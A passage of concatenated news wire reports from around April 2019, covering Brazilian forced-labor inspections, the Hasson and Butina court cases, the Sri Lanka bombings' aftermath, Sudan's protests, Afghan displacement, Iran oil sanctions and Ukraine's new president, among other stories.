special unit inside the Secretariat was launched. Coordinated by labor inspectors, they work with prosecutors and police to find and raid farms, construction sites and companies suspected of using forced labor. Since 1995, more than 53,000 people have been found in slavery-like conditions by government agents. In 2018, 370,000 people were living in slave-like conditions in Brazil, according to the Global Slavery Index from the Walk Free Foundation. Lack of inspectors In recent years, however, it's hard to get labor inspectors to do field work, said federal prosecutor Adriana Scordamaglia, who specializes in forced labor cases. "Either it's lack of money, or the plane tickets are not supplied in time, or we lack labor inspectors," she told lawmakers. In the past decade, labor inspectors have been retiring at a faster rate than the government can replenish them, official data shows. In 2010, there were some 3,059 active labor inspectors. By 2018 that number had fallen to about 2,303. Funding for labor inspectors comes from the Special Secretariat of Pensions and Labor. A representative of the secretariat at the hearing, Matheus Viana, recognized that lack of funds is an issue, but emphasized that no operations by the group were canceled in 2018 and 2019 due to it. Viana, however, agreed that the lack of labor inspectors is a serious problem. "We have less and less people. It's a critical situation." A Coast Guard lieutenant accused of being a domestic terrorist is entitled to be released from custody before his trial on firearms and drug charges, a federal magistrate said Thursday. U.S. Magistrate Judge Charles Day noted that 50-year-old Christopher Hasson hasn't been charged with any terrorism related offenses. Hasson was arrested Feb. 15 and is awaiting trial on firearms and drug charges. Prosecutors have said he created a hit list of prominent Democrats, two Supreme Court justices, network TV journalists and social media company executives. Day said he still has "grave concerns'' about Hasson based on information prosecutors have presented. The magistrate said Hasson is "going to have to have a whole lot of supervision'' before his release, a process that could take several days. Release will be contested Marcia Murphy, a spokeswoman for U.S. Attorney Robert Hur's office, said prosecutors would oppose any conditions of release for Hasson. Day didn't order Hasson to be immediately released. The magistrate gave Hasson's defense attorney, Liz Oyer, a few days to arrange conditions of release that would be acceptable to the court. Prosecutors have vowed to appeal if Day does order his release. Oyer said her client hadn't made any direct or specific threats to harm anyone. She said prosecutors are seeking to punish Hasson for "private thoughts'' that he never shared. "They have not come forward with evidence that Mr. Hasson is a domestic terrorist because he is not,'' she told Day. But prosecutors have said Hasson is a self-described white nationalist who espoused extremist views for years and "intends to murder innocent civilians on a scale rarely seen in this country.'' In a February court filing, prosecutors said Hasson drafted an email in which he said he was "dreaming of a way to kill almost every last person on the earth.'' Assistant U.S. Attorney Thomas Windom said prosecutors had presented "clear and convincing evidence'' that Hasson poses a danger to the public. "The dots were connected directly by the defendant with his own writings,'' Windom said. Influenced by Norwegian Prosecutors have said Hasson appeared to be planning attacks inspired by the manifesto of Anders Behring Breivik, the Norwegian right-wing extremist who killed 77 people in a 2011 bomb-and-shooting rampage. On Feb. 21, Day ordered Hasson to be held without bond. At that time, however, the magistrate said he was willing to revisit his decision if prosecutors didn't bring more serious charges within two weeks. On Thursday, Day said he was inclined to order home confinement with electronic monitoring for Hasson and restrict his access to firearms and computers. The magistrate gave Oyer a few days to present him with a proposal before Hasson can be freed. Prosecutors claim Hasson drew up what appeared to be a computer-spreadsheet hit list that included House Speaker Nancy Pelosi, Senate Democratic Leader Chuck Schumer and Democratic presidential hopefuls Sens. Kirsten Gillibrand, Elizabeth Warren, Cory Booker and Kamala Harris. Several network TV journalists MSNBC's Chris Hayes and Joe Scarborough and CNN's Chris Cuomo and Van Jones also were mentioned. Focus on justices Hasson also targeted two Supreme Court justices and two social media company executives, prosecutors said in a court filing Tuesday. The filing doesn't name them, but it says Hasson searched online for their home addresses in March 2018, within minutes before and after searching firearm sales websites. Investigators found 15 guns, including seven rifles, and more than 1,000 rounds of ammunition at Hasson's basement apartment in Silver Spring, Maryland, prosecutors said. "He has these ready to go, ready for use,'' Windom said. Oyer said Hasson has had a lifelong interest in firearms and likes to hunt and target practice. She said the number of guns he owned isn't unusual in North Carolina, where he lived for years before moving to Maryland. Illegal possession of painkiller Hasson's Feb. 27 indictment also accuses him of illegal possession of tramadol, an opioid painkiller. Hasson pleaded not guilty last month to charges of illegal possession of firearm silencers, possession of firearms by a drug addict and unlawful user, and possession of a controlled substance. He faces a maximum of 31 years in prison if convicted of all four counts in his indictment. Hasson, a former Marine, worked at Coast Guard headquarters in Washington on a program to acquire advanced new cutters for the agency. A Coast Guard spokesman has said Hasson will remain on active duty until the case against him is resolved. Maria Butina, the Russian gun rights enthusiast accused of seeking to infiltrate conservative political circles in the United States, was sentenced Friday to 18 months in prison. Butina, a lifetime member of the National Rifle Association and a former graduate student at American University in Washington, was arrested last July in the U.S. capital on charges of acting as an agent of a foreign official without notifying the attorney general. The former Kremlin official, Alexander Torshin, allegedly directed Butina to use her gun rights activism to establish relationships with politically influential Americans and to open unofficial lines of communication between the Americans and Moscow in the run-up to the 2016 U.S. presidential election, according to prosecutors. Guilty plea Butina pleaded guilty in December to the conspiracy charge, admitting that she collected information about the NRA, the nation's largest gun lobby, and other organizations at Torshin's direction from 2015 to 2017. Two Americans allegedly helped Butina with the conspiracy. One of them, Paul Erickson, a Republican political operative who dated Butina at the time of her arrest, was indicted in February on unrelated charges of wire fraud and money laundering. The case against Butina is not related to the special counsel investigation of Russian interference in the election. In Washington, U.S. District Judge Tanya Chutkan, who imposed the sentence, said Butina would receive credit for time served and ordered her deported as soon as she completes her prison term. An emotional Butina, dressed in plain prison clothing and flanked by her two attorneys, told the judge that her aim was to mend relations between Russia and the United States. "Instead of building peace, I created discord," she said. "Now, I beg for mercy, for the chance to go home and rebuild my life." Butina faced a maximum of five years in prison. Chutkan said she was imposing the 18-month sentence requested by prosecutors because of the seriousness of Butina's offense. "She was doing this under the direction of a Russian official ... at a time that Russia was looking to interfere with the U.S. political process," Chutkan said. "This was no simple misunderstanding by an overeager foreign student." Butina's attorneys had called for her release, arguing that she had accepted responsibility, cooperated extensively with investigators and had already served nine months in jail. "Maria is not a spy," attorney Alfred Carry said. "She's not intelligence. She's never been employed by the Russian government. She knows of no secret codes, safe houses. ... She has never engaged in covert activity and she has never lied to our government." Butina said she would have registered as a foreign agent "without delay," had she known about the requirement. But prosecutors said her crime was not merely a registration offense. "This is a case where the defendant acted in the United States as the agent of a foreign government," said prosecutor Erik Kenerson. "She did so for the benefit of Russia." In a recent sentencing memo, prosecutors said that while Butina was not a traditional spy, her actions on behalf of the Russian government had the potential to undermine U.S. national security. In addition, they wrote that Butina was "keenly aware that portions of her work" were reported to "the wider Russian government." The judge agreed. "It is because she did not register that her conduct was so dangerous," Chutkan said. With thousands of guards deployed across the country to provide security for places of worship, Muslims in Sri Lanka answered the call to prayer Friday, less than a week after the deadly Easter Sunday suicide bombings in churches and hotels in the island nation's capital blamed on Muslim extremists. "Everyone is nervous," 48-year-old Abdullah Mohammed told the Associated Press, before prayers."Not just the Muslims, Buddhists, Christians, Hindus everybody's nervous." Security forces combed the country, tracking down what they say are dozens of local militants with links to the Islamic State terror group, which claimed responsibility for the Easter attacks. A military spokesman said a gunbattle erupted Friday in Sri Lanka's Eastern Province during a search operation. The archbishop of Colombo told reporters Friday there will be no Sunday Masses anywhere on the island. The U.S. Embassy in Colombo has advised people to avoid places of worship in Sri Lanka, citing Sri Lankan reports that additional attacks may occur. "Continue to remain vigilant and avoid large crowds," the embassy said Thursday on its official Twitter account. The warning comes days after a devastating attack on churches and hotels on Sunday when suicide bombers killed more than250 people. Officials had earlier set the death toll at more than 350 but revised the number Thursday, saying some of the bodies may have been counted twice. Sri Lankan officials say the suspected mastermind of the attacks, Zahran Hashim, was killed in the attack on the Shangri-La Hotel. The Daily Mirror, a Sri Lankan newspaper, reports that Hashim's sister says that her parents, brothers and a sister have been missing since April 18. Advance intel on attacks President Maithripala Sirisena said Sri Lanka's police chief Pujith Jayasundara resigned Friday because of the security failures around the attacks. On Thursday, Defense Secretary Hemasriri Fernando quit in the wake of the bombings, heeding calls from Sri Lanka's president for his resignation. Sirisena had called on Fernando and Jayasundara to step down after he promised in a televised address to take stern action against officials who did not share with him the intelligence alerts that came from India days prior to the bombing of churches and luxury hotels. As the government faces an outpouring of public anger over the failure to heed the warnings, senior officials admit it has been a "major lapse." Fernando said that there had been no failure on his own part, but he resigned to take responsibility for the failures of some institutions he headed, Reuters reported. Reports say Indian intelligence agencies sent out several warnings to Sri Lanka, and that Indian security agencies had gathered details about Islamic militant group National Thowfeek Jamaath (NTJ), which is suspected of carrying out the attacks. For the past two weeks, protesters in Sudan have demanded the military hand over power to civilians, and talks appear to be making some progress. Meanwhile, demonstrators are directing their anger at a new target - Arab governments, for what they say is interference in Sudans internal affairs. Protesters gathered outside the Egyptian Embassy in Khartoum Thursday, calling for an end to interference by Arab governments. Sudanese activists ramped up social media campaigns Friday, calling for more protesters to rally outside embassies and consulates. Demonstrations also continued outside army headquarters, where protesters like Bushra Ahmed raised signs against intervention by Egypt, Saudi Arabia, and the United Arab Emirates. This revolution is a fully Sudanese revolution, said Ahmed. We dont need any guardian telling us what to do and what not to. We know our country and are able to lead it ourselves, he added. Such sentiments have been brewing among protesters since a joint Saudi-Emirate delegation visited Sudan on April 16. The visit raised eyebrows as it came just days after the military ousted president Omar al-Bashir from three decades in power. The delegation announced $3 billion in aid, which was welcomed by the military but rejected by protesters suspicious of their past support for Bashir and other Islamist and authoritarian leaders. At Friday prayers in Khartoum, religious leaders told crowds of protesters outside army headquarters to refuse intervention from foreign countries. Protesters have camped outside the headquarters since April 6, originally to call for Bashir's removal, and now for an end to military rule. At a tent near the sit-in, soldier-turned-protester Mohamed Musa and other veterans warned about Gulf countries. He said they totally refuse Gulf intervention and Saudi-Emirates intervention in Sudan and in the Transitional Military Councils affairs. They have their own interests in mind, not Sudans, when it comes to Sudans troops deployed to the war in Yemen, he added. Hundreds of Sudanese soldiers have died in Yemen, as the Bashir government supported Sudan's Arab allies in the war there. Political analyst Alfatih Mahmoud says Bashir's removal has raised concerns among Gulf states that Turkey and Qatar could gain new influence in Sudan. Bashirs regime was dealing with the two camps, but now Sudan has to belong to one camp, he said. So, Saudi, the Emirates and Egypt have tried to attract the new Sudan, especially with the existence of former agreements and the removal of Islamists from the scene, he added. Sudan's protests erupted in December over bread and fuel shortages and soon morphed into calls for Bashir to step down. While demonstrations continue, the Transitional Military Council is negotiating with protest leaders on handing power to a civilian council before the end of a self-declared two-year mandate. VOA's Zabihullah Ghazi contributed to this story from Nangarhar province. NANGARHAR, AFGHANISTAN / WASHINGTON Fighting between the Islamic State terror group and Taliban insurgents has displaced more than 450 families in eastern Nangarhar province in recent days, Afghan officials told VOA. Fighting erupted Monday when IS militants attacked areas under Taliban control in Sherzad and Khogyani districts of Nangarhar province, officials said. The Department of Refugees and Returnees of Nangarhar told VOA that more people are expected to be displaced as intense firefights between the militant groups continue in the province. "Only on Tuesday, 254 families from Sherzad and Khogyani filled the applications to receive humanitarian assistance and 159 families gathered outside of our office on Wednesday," Najibullah Qayoumi, director of Nangarhar's Department of Refugees and Returnees, told VOA. Displaced families claim that women and children are living in dire conditions and if international humanitarian organizations do not assist the residents of Sherzad and Khogyani districts, the situation would get worse. "IS and Taliban are fighting each other, but it's civilians that are suffering. People are forced to flee. There are women and children. The situation is grim," Jawid Zaman, a local resident, told VOA. "We call on government to help the people as soon as possible," Zaman added. Displaced families claimed on Thursday that they had not yet received any assistance from the government or aid organizations. WATCH: Hundreds of Afghan Families Displaced Provincial officials, however, said efforts are under way to provide the displaced families with cash, food and other emergency assistance. "An emergency meeting was called by the provincial governor, focusing on providing food and other assistance to the displaced families. Measures are under way, surveys will be conducted, and assistance will be distributed to qualified families," Attaullah Khogyani, Nangarhar governor's spokesperson, told VOA. Taking up arms Local residents of Nangarhar province are warning that with IS militants strengthening in their province, if the government does not take any measures against them, they will take up arms to defend their homes. Some who have already taken up arms are asking the government and international forces not to confuse them with militants and attack them. "About 100 men in Sherzad district have taken up arms to defend themselves. We ask the government not to mistake us with Taliban and not to target and kill us," Mohammad Younus, Sherzad district local council member, told VOA. Officials in Nangarhar promised to suppress the militants and to make it possible for the safe return of displaced families. To that end, Afghan security forces plan to conduct an operation in the area to clear it of militants, making it safe for displaced families to return, according to provincial officials. 14,000 families displaced Local authorities told VOA that the conflict in the region has forced more than 14,000 families to flee their homes in Nangarhar over the past four years. Clashes between the Taliban and IS are a continuing issue in eastern Afghanistan, particularly in Nangarhar, the traditional stronghold of the IS Khorasan branch that emerged in the country in 2015. The militant group has since made inroads to adjacent provinces in the eastern and northern parts of the country. This is the second time this month that thousands of people have been forced to flee their homes in the region because of fighting between IS militants and Taliban. Earlier this month, about 3,000 families were displaced in neighboring Kunar province because of clashes between IS and Taliban. North Korean leader Kim Jong-un gets out of his car for a ceremony upon his departure from Russia, outside the railway station in the far-eastern Russian port of Vladivostok, April 26. AFP-Yonhap Kim Jong-un departs Vladivostok Friday afternoon By Kim Yoo-chul North Korean leader Kim Jong-un is pressing the United States, again, asking Washington to provide Pyongyang with such incentives as security guarantees and sanctions relief as prerequisites in advancing nuclear dialogue, political analysts in Seoul said, Friday. At his first summit with Russian President Vladimir Putin, Kim Jong-un accused Washington of acting in "bad faith" at their recent talks in Hanoi, Vietnam, the North's state media Korean Central News Agency (KCNA) said. "Peace and security will entirely depend on Washington's future attitude. The situation on the peninsula and region is now at a standstill and has reached a critical point," the KCNA quoted Kim as saying. The remarks are interpreted as the North's apparent pressure on the United States to flexibly accept its demands for economic sanctions easing by lessening the degree of Washington's "maximum pressure" campaign. "In the beginning of the denuclearization talks, Moscow was eager to actively step into the process as the North was looking a lot more to China as a serious backer. Kim Jong-un is hoping to make the nuclear talks even more problematic by bringing Russia to the negotiating table," said Kim Seung-chae, a politics professor at Seoul's Korea University. Kim Jong-un officially invited the Russian leader to Pyongyang at a "convenient time" and Putin accepted, KCNA said. "Given the quite warming personal relationship between Putin and U.S. President Donald Trump, there are some areas where the United States and Russia could engage in the nuclear dialogue. With economic blessings from Russia, Kim wants to send a message to Trump that his regime is ready for financial assistance from Moscow," a high-ranking diplomatic source told The Korea Times by telephone. "The Kim-Putin summit also failed to yield a major breakthrough. All major stakeholders in the nuclear dialogue are in the process of narrowing their differences before finding common ground, which I believe will be time consuming," the source said. Members of the North Korean delegation prepare Kim Jong-un's train for departure at the railway station in the Russian Far East port city of Vladivostok on April 26. AFP-Yonhap A burglar stole 11 guns from a police station in New Zealand, some of which were surrendered to authorities in the aftermath of the mass shooting in Christchurch, police said Friday. Police are looking for the suspect, who escaped after he was spotted by an officer in the station yard in Palmerston North, a city on North Island. His getaway vehicle was recovered later. Eleven firearms which were in an exhibit storage area are currently unaccounted for, acting Central District Commander Inspector Sarah Stewart said in a statement on the Thursday robbery. I should be clear that these were not police firearms, but were a range of weapons being held as exhibits or handed in for destruction. I am very concerned about what has occurred it is absolutely unacceptable, Stewart said. Gun owners across New Zealand are handing their guns to the police after the government passed tough new firearm laws banning semi-automatic military style firearms and other accessories, in the wake of the countrys worst peacetime mass shooting in Christchurch in which 50 people were killed. People have until Sept. 30 to surrender the guns at local police stations, but thousands of guns have already been received. Thousands of people prayed on Friday outside the defense ministry in Khartoum, site of a massive anti-government sit-in that has continued unabated even after the military removed President Omar al-Bashir from power two weeks ago. The sit-in, the culmination of months of demonstrations against Bashir's three-decade rule, began on April 6 but was not halted after the army removed Bashir from power on April 11. Protesters are now demanding the restoration of civilian rule. Friday's prayer was led by Matar Younis, a 49-year-old blind religious teacher from the Darfur region who was repeatedly jailed under Bashir. "We call for a democratic, civilian state," Younis told Reuters. "We reject military rule. The role of the military is to protect the country, not rule the country." The opposition is demanding a quick handover to democracy from the Transitional Military Council (TMC) which took over after removing Bashir. Reuters estimated that 20,000 people took part in the Friday prayer outside the defense ministry. A larger than usual share of them were elderly, dressed in traditional white robes. Younis told Reuters he wanted women and young people to participate in governing Sudan. "Women and young people are the ones who led the revolution," he said. Last year, while Younis was imprisoned, Amnesty International called for his release, saying he was detained for calling for the protection of displaced people from Darfur and standing up for human rights. Bashir is wanted by the International Criminal Court over allegations of genocide in the Darfur region, charges he denies. After the prayer, protesters chanted "civilian, civilian," referring to their demand for civilian rule. Some distributed free juice to the protesters who had showed up despite of temperatures exceeding 40 degrees Celsius (104 F). Musicians dressed in clothes made from animal skin sang folklore songs. "We will defend democracy and refuse military rule," said Mahgoub Bushra, a 45-year-old accountant who brought his two young children to the protest site. "The people of the revolution died and were imprisoned and tortured for the sake of democracy not for the sake of military rule." On Thursday night, hundreds of thousands also massed outside the defense ministry to demand civilian rule. The protesters were responding to a call by the Sudanese Professionals' Association (SPA), the main protest organizer, for a million people to join the march. This followed an announcement from the TMC saying it would retain "sovereign authority," while all ministry posts, including the prime ministry, would be headed by civilians. U.S. President Donald Trump said on Fox News that Attorney General William Barr was reviewing allegations that Ukrainian agents provided Hillary Clinton's presidential campaign with damaging information about Trump's then-campaign chairman, Paul Manafort. After calling the network Thursday night for a lengthy impromptu interview, Trump told host Sean Hannity that the allegations of collusion between Ukraine and Clinton's campaign were "big and incredible." The 45-minute interview was the latest attempt by the president and Fox News to promote the narrative that Ukrainian agents tried to sway the 2016 presidential election in Clinton's favor. Hannity explored the issue on his show with a reporter from The Hill, a Washington publication, who interviewed Ukraine Prosecutor General Yuriy Lutsenko. Lutsenko told Hill Television on March 17 that he would launch an investigation into alleged efforts by Ukrainians to meddle in the presidential election. Three days later, Trump, a regular viewer of Hannity's show, tweeted, "As Russia Collusion fades, Ukrainian plot to help Clinton emerges." Lutsenko announced the probe after U.S. Ambassador to Ukraine Marie Yovanovitch criticized the country's handling of corruption, citing a recent high court ruling to decriminalize illicit enrichment by public officials. Lutsenko said investigators would focus on so-called "black ledger" files that resulted in Manafort's abrupt departure from Trump's campaign. Lutsenko's probe was also prompted by a Ukrainian parliamentarian's release of an audio recording that supposedly quotes a senior law enforcement official as saying his agency leaked Manafort's financial records to help Clinton's campaign. Manafort, 70, was sentenced on March 13 to 7 years in federal prison after being convicted in special counsel Robert Mueller's investigation into Russian interference in the 2016 presidential election. Manafort was convicted of conspiring to conceal tens of millions of dollars in payments for undisclosed lobbying for a Ukranian politician aligned with Russia. Manafort also conspired to influence witnesses and committed tax and bank fraud. President Donald Trump this week proposed new measures to crack down on people who travel to the United States on a visa and then illegally remain in the country after their visa expires. The new policy will punish countries with high rates of visa overstays, and will mostly impact African nations. White House Correspondent Patsy Widakuswara reports. President Donald Trump urged Americans Friday to get vaccinated against measles, amid an outbreak of the highly contagious virus in the U.S. that has forced two U.S. universities to quarantine hundreds of students, faculty members and other employees. Trump told reporters at the White House citizens "must get their shots" to protect themselves against the virus that was deemed eradicated in the U.S. nearly 20 years ago. There were nearly 700 cases in 22 states, the Centers for Disease Control (CDC) reported Wednesday, the highest level in 25 years. The CDC partially attributed the surge to misinformation about the safety of the measles vaccine. The beginning of the outbreak has been traced to Orthodox Jews who contracted the disease while traveling overseas. The cases have been concentrated in a small number of states, including New York, New Jersey, Michigan and Washington. Cases also have been confirmed in California, where public health officials ordered dozens of people to be quarantined Tuesday at the University of California at Los Angeles and California State University, Los Angeles following an exposure to the virus earlier this month. Los Angeles County public health officials said some people may have to be quarantined up to one week until proof of immunity is established. The CDC recommends vaccinations for everyone over a year old, except those who contracted measles as children and have since become immune. The vaccine, which first became available in the 1960s, is considered safe and effective by most public health experts. The leader of Britain's opposition Labour Party, Jeremy Corbyn, said on Friday he had turned down an invitation to a state dinner which will be part of U.S. President Donald Trump's visit to Britain in June. "Theresa May should not be rolling out the red carpet for a state visit to honor a president who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric," Corbyn said in a statement. He said maintaining the relationship with the United States did not require "the pomp and ceremony of a state visit" and he said he would welcome a meeting with Trump "to discuss all matters of interest." The federal government has six months to identify potentially thousands of children who were separated from their families at the U.S.-Mexico border early in President Donald Trumps term, a judge ordered Thursday. Trump administration officials said they had a goal of six months but opposed any deadline, saying it could take as long as two years to reunite children with their parents if efforts to speed up the process fail. U.S. District Judge Dana Sabraw said he would be willing to consider an extension past Oct. 25 but that he wanted to establish a firm date. It is important for all government actors to have a timeframe, a deadline, he said. You tend to stand on it. 47,000 cases to review The administration will review about 47,000 cases of unaccompanied children in custody between July 1, 2017 and June 25, 2018 the day before Sabraw halted the general practice of separating families and ordered that children under government care at the time be reunited in 30 days. More than 2,700 children had been separated when Sabraw issued his June order and they have largely been reunited. Then, in January, the internal watchdog for the U.S. Health and Human Services Department reported that thousands more children may have been split since summer 2017. The departments inspector general said the precise number was unknown. Jonathan White, a commander of the U.S. Public Health Service and Health and Human Services point person on family reunification, testified for about an hour on how he would oversee the effort. After he spoke, the judge praised his continued involvement, calling him a beacon of light. The administration will develop a statistical model within 12 weeks to search for factors most likely for separations. Those factors, detailed in an earlier court filing, include children under 5, younger children traveling without a sibling and those detained in the Border Patrols El Paso, Texas, sector, where the administration ran a trial program that involved separating nearly 300 family members from July to November 2017. On a parallel track, the administration will begin work immediately on identifying children who were separated after U.S. Customs and Border Protection introduced a tracking system in April 2018. No tracking system The government lacked tracking systems when the administration began a zero tolerance policy a year ago to criminally prosecute every adult who entered the country illegally from Mexico, sparking an international outcry when parents couldnt find their children. Poor tracking before April 2018 and the fact that still-separated children are no longer in U.S. custody complicates the latest task. The vast majority of separated children are released to relatives, but many are not parents. Of children released in the 2017 fiscal year, 49 percent went to parents, 41 percent to close relatives such as an aunt, uncle, grandparent or adult sibling and 10 percent to distant relatives, family friends and others. White told the judge that six months was his operational target but that hes been wrong before and there were still lots of unknowns about the process. The American Civil Liberties Union, which sued over family separations, wanted the job done in three months, which White said was unrealistic. The ACLU agreed Thursday to six months. This order shows that the court continues to recognize the gravity of this situation, ACLU attorney Lee Gelernt said after the hearing. Days before the United States and China resume the latest round of trade talks, a senior State Department official said Washingtons unilateral decision to end a sanctions waiver for China, the biggest buyer of Iranian oil, has marginal impact on bilateral trade negotiations with Beijing. Assistant Secretary of State for Energy Resources Francis Fannon told VOA this week the U.S., as the biggest producer in the world, is a natural option to supply oil and that China will find alternative suppliers when a sanctions waiver expires on May 2. On Monday, the U.S. announced it was ending waivers on sanctions to countries that import Iranian oil, including China, India, Japan, South Korea, and Turkey. Since the sanctions were reintroduced, Italy, Greece and Taiwan have halted their Iranian oil imports. Fannon spoke with VOA State Department correspondent Nike Ching on Thursday. The following is the edited excerpt of the interview: VOA: After Mondays announcement, China and Turkey have pushed back; China opposed the unilateral decision by the U.S.What punitive measures will those nations face if they don't comply? Can you lay out the sanctions they could face? Fannon: Our focuses are uniquely focused on the Iranian regime, not the importers of Iranian oil. Iran uses the revenues that it generates from oil trade to fund terrorism and proxy wars around the world. And that is unacceptable. So our move is against the Iranian regime. With respect to the importers, China among them, we're working with other partners around the world to ensure that they're adequately supplied. So we feel like the market is well balanced, that the right types of oil are going to be coming online and increasing production. Youve seen some very strong statements from some of the producers and countries as well of some other international bodies. With respect to what's going to happen after May 2, we can't certainly can't speak to future enforcement and how that's going to happen, but the secretary of state was extremely clear that there will be no SRE, Significant Reduction Exceptions, issued after the current expiration, and we feel very confident that countries will understand that, because they're going to get the oil that they need to advance their continue to advance their own development. VOA: So you are confident those nations will comply? Fannon: We think we are. They have the volumes that they need. They have the types, of the grades of oil that they need. And the globe is well supplied with oil. So well supplied that Fatih Birol for example, the head of the International Energy Agency, made a statement speaking to this very point. And even speaking of the spare capacity available in the market. So we're in a very, very comfortable position. We see no reason why countries wouldn't want to support this, this initiative, because their needs are going to be met. VOA: How about post May 2 enforcement? Some private tankers, owned by private companies, may choose to fly a different nations flag. Isnt it difficult to catch? Fannon: The point about evasion enforcement is an important one. We have had an unprecedented level of focus of evasion enforcement of our sanctions. With respect to the flag vessels, yeah, the flagging process is a difficult one and it's hard to get a flag. It's not just something that routine matter. But through the US currently we've already on our sanctions on Iran we've already flagged over 70 vessels, because they've been involved in the illicit oil trade. So what this, what this requires is for a potential illicit trader to consider doing that one time business with Iran- cause we will catch them and we will enforce our sanctions on them- to make that choice versus ever doing business conducting business with the United States or U.S. firm. That's quite a stark choice to make and we feel confident that they'll make the right one. VOA: The Qatari foreign minister was in the U.S. Thursday. What assurance did you get from Qatar, the Saudis or others regarding the oil supply in a timely fashion? Fannon: We've been in consultation with a variety of producing nations, they've all made strong commitments to increase production, and also not just the total volumes, but also the types of oil. You know, I mentioned Qatar. I just have to acknowledge Qatar petroleum, where are they increasing their investments here in the United States, they've invested an $8 billion, and a new US LNG export facility along with Exxon Mobil. That really underscores the belief that Qatar has in the U.S. to provide more supplies for the global market. We welcome those investments. And I just think that in terms of ensuring adequate supply, the U.S. has a prominent role we talked about some of the other countries and you name a few but the U.S. is really now the biggest producer in the world and what we found time and time again as the U.S. industry is resilient and continues to increase production in excess of what anyone expects. Last year the US increased production by some 1.6 million barrels. And were on track to do that again this year. One thing that's consistent is the US EIA, Energy Information Administration continues to under-assess on what the US producer is able to make. So we feel we're in a really good, really good place. VOA: Are you asking those countries to buy oil from the United States? Fannon: We're asking those countries to buy wherever they need to. We find thats permissible. The world as well-supplied. What were saying here is that the U.S., as the biggest producer in the world, is a natural option as well as Saudi Arabia, etc. VOA: The State Department works with the Treasury Department regarding Iran sanctions. Treasury Secretary Mnuchin is traveling to Beijing for the trade talks. How would this unilateral decision by the United States affect ongoing bilateral trade talks and trade relations with China? Fannon: China is also a big, big customer of U.S. liquefied natural gas, as well as other things. We anticipate that energy might come up in the broader trade discussions, but those are there's so many issues involved in the U.S.-China bilateral relationship, it's an important relationship. And so, I suspect the Secretary Mnuchin will certainly have a lot of, lot of options for consideration that they'll be working through. I can't speak to how this decision would affect it. This decision this issue is such a relative [small] scale of our relationship and other issues, economic issues at play here. I think its pretty marginal at best. This story originated in VOAs Russian Service. Pete Cobus contributed reporting. KYIV, UKRAINE Following Ukrainian President-elect Volodymyr Zelenskiys landslide victory this week, top U.S. and European Union officials were quick to offer kudos and vows of continued diplomatic support. But some Eastern European-based experts say Kyivs ties with the West arent likely to improve under the new administration. European Commission President Jean-Claude Juncker and Council President Donald Tusk issued a joint statement congratulating Zelenskiy on Kyivs significant progress since the 2014 Maidan revolution that ousted pro-Russian Ukrainian President Viktor Yanukovich, but warned that substantial work remains before realizing the peaceful, democratic and prosperous Ukraine that its citizens have called for. Little foreign policy change Maksym Khylko, chairman of the East European Security Research Initiative Foundation, said he expects no dramatic changes to Kyivs foreign policy under the new presidency. Given the campaign season rhetoric of advisers surrounding Zelenskiy a few of whom, it has been reported, are likely to fill out his cabinet cooperation with the U.S. in particular is unlikely to improve. There will be attempts to find a new balance of relations between the West and Russia, because in the inner circle that stands behind the new president, we see people with preferences for improving relations with Russia, Khylko told VOAs Russian Service. And Russia will also try to play on these preferences, along with Zelenskiys personal closeness to Russian culture, (and) his inexperience in politics, he added. Its possible that the Kremlin will want to play on his ignorance by imposing on him an illusory position about the possibility of achieving a quick peace in Donbas, (offering) him his quick victory that Zelenskiy touted on the campaign trail. Split on Russia, West An ideological split dividing a portion of Zelenskiys support base may leave him politically hamstrung when attempting to drum up broad domestic support for explicitly Russian- or Western-leaning economic or trade policies. This is not to say that the majority of Ukrainians, given the results of the second round, wanted to be closer to Russia, Khylko said. Half of Zelenskiys electorate wants to improve relations with Russia this being the electorate who supported the openly pro-Russian candidates Yuri Boyko and Oleksandr Vilkul in the first round. The other half of his electorate, according to research, sympathizes with the Western course, but they were simply disappointed with the policies of (outgoing President Petro) Poroshenko and largely riled up by rampant criticism and negative materials in the press. I think that most of Zelenskiys electorate voted for him in the hope of preserving a pro-Western course. Khylko also said the coterie of political advisers surrounding Zelenskiy the majority of whom are experienced policy and political professionals will be careful to limit Washingtons influence in Kyivs foreign policy agenda, a fact of which the Trump administration, he said, is aware. On the part of Washington, relations will remain at a high level. The United States position is that it understands that not Zelenskiy himself, but those who are close to him, will be less inclined to see official Washington play in the minds of Ukrainian officials a leading role in the development of foreign policy. Russian Federation, United States watching closely Nikolai Beleskov of the Kyiv-based Institute of World Policy, however, says neither Moscow nor Washington has yet to develop a firm understanding of what foreign policy under Zelenskiy will look like. Russians are waiting for Zelenskiys official rhetoric in order to understand his attitude, he told VOA. There will be commemorative (V-Day) events on May 8 and 9, and Russia would like to hear Zelenskiy whether he will be categorical in assessments of the Soviet past, as was the case with Petro Poroshenko or not, he said. Zelenskiys receptivity to economic engagement with Moscow may be tested at the outset with offers of cheap energy. The Kremlin can offer cheap natural gas, while Zelenskiy, under difficult economic conditions, will have to choose between raising prices in the housing and utilities sector, (thereby) fulfilling the conditions for cooperation with the IMF, or negotiating with Russia, he said. Signal to pro-Russian lawmakers But Russian President Vladimir Putins decision Wednesday to simplify the procedure for obtaining a Russian passport for residents of separatist-controlled eastern Ukraine a move that immediately prompted calls from Kyiv for more international sanctions was likely a signal to pro-Russian elements in Ukraines legislative body, the Verkhovna Rada, whose members are slated for nationwide regional elections this fall. Objectively, (Ukraines) presidential elections choose one person who does not affect the economy, while the parliamentary elections are the election of 415-420 people, not counting deputies from the occupied territories of Donbas and Crimea, he said. A network of individuals close to Vladislav Surkov, a personal aide to the Russian president, are waiting to see whether Viktor Medvedchuk, a Ukrainian politician and oligarch regarded as one of Putins closest associates, will be able to unite all of Ukraines pro-Russian factions, Beleskov said. The results that Yuri Boyko generated in this years election werent bad, and sociologists say that the Opposition Platform-For Life a national Ukrainian political alliance of like-minded pro-Russian groups may be the second (most powerful) parliamentary force, Beleskov said. Russia has the possibility of bringing to the fullest extent more pro-Russian politicians to the legislative body of Ukraine, he told VOA. Relations with Washington The quality of relations with the United States, he said, will depend on whether Zelenskiys new administration can satisfy existing benchmarks set for improved ties with the West. It is obvious that the Americans will wait for the first steps of the new administration of the president of Ukraine cooperation with the IMF, rebooting anti-corruption bodies. Everything depends on us, he said. The U.S. Embassy in Kyiv on Wednesday called the Kremlins decree to grant Russian citizenship to people in the occupied territories of eastern Ukraine absurd. Crimea is Ukraine. Donetsk is Ukraine. Luhansk is Ukraine. We condemn the recent absurd and destabilizing decree of Russia regarding Russian passports for residents of Donetsk and Luhansk, and reaffirm our strong support for the sovereignty and territorial integrity of Ukraine, the U.S. Embassy in 